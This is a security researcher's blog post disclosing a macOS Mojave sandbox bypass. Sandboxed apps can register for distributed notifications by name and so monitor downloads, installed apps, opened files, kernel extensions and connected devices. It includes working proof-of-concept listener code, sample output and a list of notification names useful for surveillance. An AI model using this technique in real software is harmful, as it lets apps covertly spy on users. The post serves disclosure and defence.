Digita Security

Cybersecurity solutions for the

  • modern
  • mobile
  • independent
  • innovative
  • enterprising

macOS workforce

November 29, 2018

[0day] Mojave's Sandbox is Leaky

sidestepping a poorly implemented protection, has significant privacy implications!
by Patrick Wardle

In this short blog post, we’ll detail a trivially exploitable privacy issue that despite Apple’s (rather feeble) attempts, allows sandboxed applications to surreptitiously spy on unsuspecting users.

Note:

This issue was originally disclosed (by yours truly) at Objective-See’s Mac Security Conference: “Objective by the Sea”. This blog post dives more deeply into the technical details of the flaw.

Slides from the talk: “Protecting the Garden of Eden”

Background

From a security and privacy point of view, sandboxes are an excellent idea. In short, within the constraints of a properly designed and implemented sandbox, an application is largely limited in a variety of ways. For example, amongst other constraints, it cannot arbitrarily access user files (i.e. your pictures or downloads), capture keystrokes, or subvert the OS. Hooray!

Of course, any sandbox implementation will have its flaws, allowing malicious applications to either “escape” the sandbox completely, or while still in the sandbox, bypass some specific sandbox constraint. In this post, we’re dealing with the latter, specifically side-stepping Apple’s sandbox constraints on “distributed notifications” in order to gain valuable insight into the environment outside the sandbox and monitor (some) private user and OS activities.

OSX/macOS allows applications or system components to broadcast notifications “across task boundaries.” Aptly termed “distributed notifications” such events are broadcast by means of the DistributedNotificationCenter class. Described in the distributed notification class documentation, Apple states this class is a “notification dispatch mechanism that enables the broadcast of notifications across task boundaries.

More specifically:

A DistributedNotificationCenter instance broadcasts NSNotification objects to objects in other tasks that have registered for the notification with their task’s default distributed notification center.

As we’ll shortly see, at any given time a myriad of (interesting) notifications are globally broadcast by apps, programs, and system daemons. Tapping into this steam, by registering a global distributed notification listener reveals a lot about the “goings on” of the system, as well as what the user is up to!

To globally register to receive all distributed notification, simply invoke the CFNotificationCenterAddObserver function (shown below) with 'nil' for the 'name' parameter. The callback specified will be invoked anytime a distributed notification is broadcast by anyone.

Here in code, we register a global distributed notification listener (note: the name parameter is nil, to specify we want to listen for all notifications):

//callback
// invoked anytime anybody broadcasts a notification
static void callback(CFNotificationCenterRef center, void *observer, CFStringRef name_cf,
					 const void *object, CFDictionaryRef userInfo)
{
    NSLog(@"event: %@", (__bridge NSString*)name_cf);
    NSLog(@"user info: %@", userInfo);
    NSLog(@"object: %@", (__bridge id)object);

    return;
}


int main(int argc, const char * argv[])
{
   //register for distributed notifications
   // note: as name is nil, this means "all"
   CFNotificationCenterAddObserver(CFNotificationCenterGetDistributedCenter(), nil, callback,
     nil, nil, CFNotificationSuspensionBehaviorDeliverImmediately);

   [[NSRunLoop currentRunLoop] run];

   return 0;
}

Note:

One can also globally register to receive all distributed notifications via a NSDistributedNotificationCenter method:

- (void)addObserver:(id)observer
           selector:(SEL)selector
               name:(NSNotificationName)name
             object:(NSString *)object
 suspensionBehavior:(NSNotificationSuspensionBehavior)suspensionBehavior;

If we compile and execute the following code, we can begin observing a variety of system events, such as screen locks/unlocks, screen saver start/stop, bluetooth activity, network activity, and user file downloads:

$ ./sniffsniff

2018-11-19 20:54:08.244963-1000 sniffsniff[50098:11034854] event: com.apple.screenIsLocked
2018-11-19 20:54:08.244994-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 20:54:08.245039-1000 sniffsniff[50098:11034854] object: 501

2018-11-19 20:54:11.150683-1000 sniffsniff[50098:11034854] event: com.apple.screenIsUnlocked
2018-11-19 20:54:11.150727-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 20:54:11.150751-1000 sniffsniff[50098:11034854] object: 501

2018-11-19 20:55:00.033848-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.didlaunch
2018-11-19 20:55:00.033882-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 20:55:00.033898-1000 sniffsniff[50098:11034854] object: (null)
2018-11-19 20:55:00.414571-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.didstart
2018-11-19 20:55:00.414663-1000 sniffsniff[50098:11034854] user info: {
    runFromPref = 0;
}

2018-11-19 20:55:02.744793-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.willstop
2018-11-19 20:55:02.744831-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 20:55:02.744843-1000 sniffsniff[50098:11034854] object: (null)

2018-11-19 20:55:02.760187-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.didstop
2018-11-19 20:55:02.760292-1000 sniffsniff[50098:11034854] user info: {
    runFromPref = 0;
}
2018-11-19 20:55:02.760312-1000 sniffsniff[50098:11034854] object: (null)

2018-11-19 20:55:15.733963-1000 sniffsniff[50098:11034854] event: IOBluetoothDeviceDisableScan
2018-11-19 20:55:15.733993-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 20:55:15.734011-1000 sniffsniff[50098:11034854] object: (null)

2018-11-19 20:56:15.720241-1000 sniffsniff[50098:11034854] event: com.apple.CFNetwork.CookiesChanged.2e3972d12eadbbbef05326fe6f5f0c3e1c05bdcc
2018-11-19 20:56:15.720292-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 20:56:15.720307-1000 sniffsniff[50098:11034854] object: (null)

2018-11-19 21:01:12.870597-1000 sniffsniff[50098:11034854] event: com.apple.DownloadFileFinished
2018-11-19 21:01:12.870626-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 21:01:12.870641-1000 sniffsniff[50098:11034854] object: /Users/patrick/Downloads/LuLu_1.1.2.zip

Note:

The value of the ‘CFDictionaryRef userInfo’ and ‘const void *object’ parameters is dependent on the notification. For example for the ‘com.apple.DownloadFileFinished’ notification, the ‘object’ parameter contains the name of the file that was downloaded.

By design, no special permissions are needed to register such a global listener - and this is all well and good. However, in the context of sandbox, obviously such notifications should not be delivered (to a global listener originating the sandbox) as this would, at least from a privacy point of view, clearly violate the foundational concept of sandbox isolation.

Distributed Notifications in the Sandbox!?

Apple clearly (and correctly), realized that from a privacy (and also possibly a security) point of view, a sandboxed application should not be able globally capture distributed notification. As such, if a sandboxed application attempts to globally register for distributed notifications, the OS sandbox will rather sternly block this action:

$ ./sniffsniff

2018-11-19 21:21:41.202420-1000 sniffsniff[50388:11098618] *** attempt to register for all distributed notifications thwarted by sandboxing.

Date/Time:     Mon Nov 19 21:21:41 2018
OS Version:    18B75
Application:   sniffsniff

Backtrace:
0   CoreFoundation      0x00007fff3c082c46 __CFGenerateReport + 197
1   CoreFoundation      0x00007fff3c015f43 __CFXNotificationRegisterObserver + 1035
2   CoreFoundation      0x00007fff3bef1af2 _CFXNotificationRegisterObserver + 14
3   Foundation          0x00007fff3e28845a -[NSDistributedNotificationCenter
					    addObserver:selector:name:object:suspensionBehavior:] + 233
4   Foundation          0x00007fff3e28836b -[NSDistributedNotificationCenter
					    addObserver:selector:name:object:] + 29
5   sniffsniff          0x000000010000125e -[AppDelegate applicationDidFinishLaunching:] + 142

Ok so Apple’s macOS sandbox clearly seeks to prevent malicious applications (running in the sandbox) from globally sniffing distributed notifications: *** attempt to register for all distributed notifications thwarted by sandboxing

All is good?

Unfortunately, not at all! Contrary to Apple’s pontifications, it seems security at Cupertino is often approached rather lackadaisically. In other words, it’s often not really thought through. Their attempts to block the receiving of distributed notifications (globally) from within the sandbox, is a perfect example of this…

Globally Sniffing Distributed Notifications in the macOS Sandbox

A fully patched Mojave box (and likely those running any other versions of macOS) fails to adequately prevent sandboxed applications from receiving (possibly sensitive) distributed notifications. Though Apple prevents such an application from registering to receive distributed notifications globally, (passing in 'nil' for the 'name' parameter), there is nothing preventing a sandboxed application from registration to receive any notification by name (e.g. com.apple.DownloadFileFinished). Thus, a malicious application can trivially circumvent Apple’s (weak) sandboxing attempts, by simply registering any (and all?) distributed notifications directly by name. Though this takes a few extra lines of code, the affect is that any application can cumulatively register to receive (capture) all distributed notifications - even within the sandbox! 🤦

Let’s look at an example. Say a malicious application wants to monitor user downloads. When executed in the context of the macOS sandbox, normally this is something that would be strictly prohibited - and rightly so! By definition, a sandbox seeks to provide an isolated environment, protecting both the user’s security and privacy.

However, by registering to receive the com.apple.DownloadFileFinished distributed notification by name, the (sandboxed) application can still surreptitiously monitor all files the user downloads:

First, let’s be sure to sandbox our malicious application (sniffsniff):

Then, write some code to listen for the com.apple.DownloadFileFinished distributed notification:

static void callback(CFNotificationCenterRef center, void *observer, CFStringRef name_cf, const void *object, CFDictionaryRef userInfo)
{
    NSLog(@"event: %@", (__bridge NSString*)name_cf);
    NSLog(@"user info: %@", userInfo);
    NSLog(@"object: %@", (__bridge id)object);

    return;
}


- (void)applicationDidFinishLaunching:(NSNotification *)aNotification {

    NSString* name = @"com.apple.DownloadFileFinished";
    CFNotificationCenterAddObserver(CFNotificationCenterGetDistributedCenter(), nil,
      callback, (CFStringRef)name, nil, CFNotificationSuspensionBehaviorDeliverImmediately);
}

Running sniffsniff from within the macOS sandbox, even on a fully patched Mojave box, rather surprisingly allows us to surreptitiously monitor the user’s downloads:

./sniffsniff
2018-11-22 12:50:38.175 sniffsniff[93641:15431613] event: com.apple.DownloadFileFinished
2018-11-22 12:50:38.175 sniffsniff[93641:15431613] user info: (null)
2018-11-22 12:50:38.175 sniffsniff[93641:15431613] object: /Users/user/Downloads/thePeeTapes.mov

Note:

The ‘com.apple.DownloadFileFinished’ distributed notification appears to only be broadcast for files downloaded from a user’s browser. However, this includes those downloaded in incognito mode!



Now, it’s important to note that though we can now monitor user downloads from within the sandbox, we can’t actually read the contents of such files due to other sandboxing rules. However, file names themselves, can be rather implicative…

As we must register for each notification by name (in order to circumvent the sandbox protections), a valid question is how to determine the names of notification of interest (i.e. 'com.apple.DownloadFileFinished', etc.) Thought there may be a more comprehensive solution, I choose to simply install a global listener for all distributed notifications (of course this had to be done outside the sandbox), then simply observe what notification names. Returning to the sandbox, we can then register for any notifications of interest (by name!).

Thought we could utilize the code mentioned earlier in this post, I instead made use of the powerful monitor capabilities of Digita Security’s (soon to be released) MonitorKit. As this framework contains a monitor to globally observe distributed notifications, in a few lines of code we can activate said monitor and begin to receive the names of all broadcast distributed notifications:

import Cocoa
import MonitorKit

@NSApplicationMain
class AppDelegate: NSObject, NSApplicationDelegate {

    func applicationDidFinishLaunching(_ aNotification: Notification) {

        //call into MonitorKit
        // enable 'distributed notifications' monitor
    	let monitor = DistributedNotifcationsMonitor()
    	monitor.start() { event in

			print("event: ", event.name.rawValue)

	        if let userInfo = event.userInfo {
	            print("event info: ", userInfo)
	        }

	        if let object = event.object {
	            print("event object: ", object)
	        }
        }
    }
}

Note:

OMG Swift code!? …I know 😅

Executing this code reveals some interesting distributed notifications (that a malicious sandboxed application could register to observe):

  • Newly Installed Applications:
    com.apple.LaunchServices.applicationRegistered
    event info:  [AnyHashable("bundleIDs"): <__NSArrayM 0x600000c57bd0>(
    com.objective-see.KnockKnock)
    
  • Opened Source Code Files:
    com.apple.dt.Xcode.notification.IDEEditorCoordinatorDistributedDidCompleteNotification
    event info:  [AnyHashable("com.apple.dt.Xcode.editorCoordinatorCompletion.fileURL"): /Users/patrick/Documents/GitHub/DoNotDisturb/launchDaemon/launchDaemon/Lid.m, AnyHashable("com.apple.dt.Xcode.editorCoordinatorCompletion.reporterClass"): _IDEOpenRequest]
    
  • Applications in Use
    com.apple.sharedfilelist.change
    event info:  [AnyHashable("originatorAuditToken"): ]
    event object:  com.apple.LSSharedFileList.ApplicationRecentDocuments/com.apple.ichat
    
    event info:  [AnyHashable("originatorAuditToken"): ]
    event object:  com.apple.LSSharedFileList.ApplicationRecentDocuments/com.apple.textedit
    
  • Loaded Kernel Extensions:
    Loaded Kext Notification
    KextArrayKey =  (
                "com.apple.message.bundleID" = "com.objective-see.lulu";
                "com.apple.message.kextname" = "LuLu.kext";
                "com.apple.message.kextpath" = "/Library/Extensions/LuLu.kext";
                "com.apple.message.signaturetype" = "3rd-party kext with devid+ certificate";)
    
  • Download Files:
    com.apple.DownloadFileFinished
    event object: /Users/patrick/Downloads/LuLu_1.1.2.zip
    
  • HID Devices:
    com.apple.MultitouchSupport.HID.DeviceAdded
    event info:  [AnyHashable("Device ID"): 288230377351874764, AnyHashable("Surface Width mm"): 130, AnyHashable("Device Type"): Trackpad, AnyHashable("SupportsActuation"): 0, AnyHashable("Built-in"): 0, AnyHashable("SupportsForce"): 0, AnyHashable("Surface Height mm"): 110, AnyHashable("Opaque"): 1]
    
  • Bluetooth Devices:
    com.apple.bluetooth.status
    event info:  [AnyHashable("A2DP_CONNECTED_DEVICES"): 1, AnyHashable("PAGEABLE"): 2, AnyHashable("POWER_STATE"): 1, AnyHashable("ADDRESS"): 8c-85-90-14-95-11, AnyHashable("ESTIMATED_BANDWIDTH_UTILIZATION"): 65, AnyHashable("ACL_CONNECTION_COUNT"): 2, AnyHashable("HARDWARE_NAME"): 15, AnyHashable("CONNECTED_DEVICES"): <__NSArrayM 0x600000c0bf60>(
    {
        ADDRESS = "60-c5-47-89-08-cc";
        NAME = "Apple Trackpad";
        "PRODUCT_ID" = 782;
        "SNIFF_ATTEMPTS" = 2;
        "VENDOR_ID" = 1452;
    },
    {
        ADDRESS = "04-52-c7-77-0d-4e";
        NAME = "Bose QuietComfort 35";
        "PRODUCT_ID" = 16396;
        "SNIFF_ATTEMPTS" = 1;
        "VENDOR_ID" = 158;
    },
    {
        ADDRESS = "34-88-5d-6b-5b-49";
        NAME = "Logitech K811";
        "PRODUCT_ID" = 45847;
        "SNIFF_ATTEMPTS" = 1;
        "VENDOR_ID" = 1133;
    })
    
  • Volume (USB, etc) unmounts:
    com.apple.unmountassistant.process.start
    event info:  [AnyHashable("VolumeURL"): file:///Volumes/TSSCI_USB/, AnyHashable("VolumeRefNum"): -108]
    

Note:

This list of distributed notification names, is not comprehensive!
…there are others to be ‘uncovered’ ;)

Conclusion

The macOS sandbox is explicitly designed to prevent sandboxed applications from gaining insight into private user and system actions. Apple clearly realized that global distributed notification listeners could thwart such design goals and thus attempted to prevent them:

*** attempt to register for all distributed notifications thwarted by sandboxing.

Unfortunately, (as often is the case), their attempts weren’t really thought thru, and thus are trivial to circumvent. By simply registering for notifications by name, sandboxed applications can cumulatively register to receive (capture) all distributed notifications. This allows them to violate a core sandbox principle and undermine users’ privacy by performing actions such as: tracking the install of new applications, monitoring various files & applications in use, tracking loaded kexts, observing user downloads, and more!

Though (IMHO), this issue don’t constitute a security vulnerability per se, it clearly violates the design goals of the macOS sandbox and thus is something that Cupertino will surely attempt to fix…again 🙄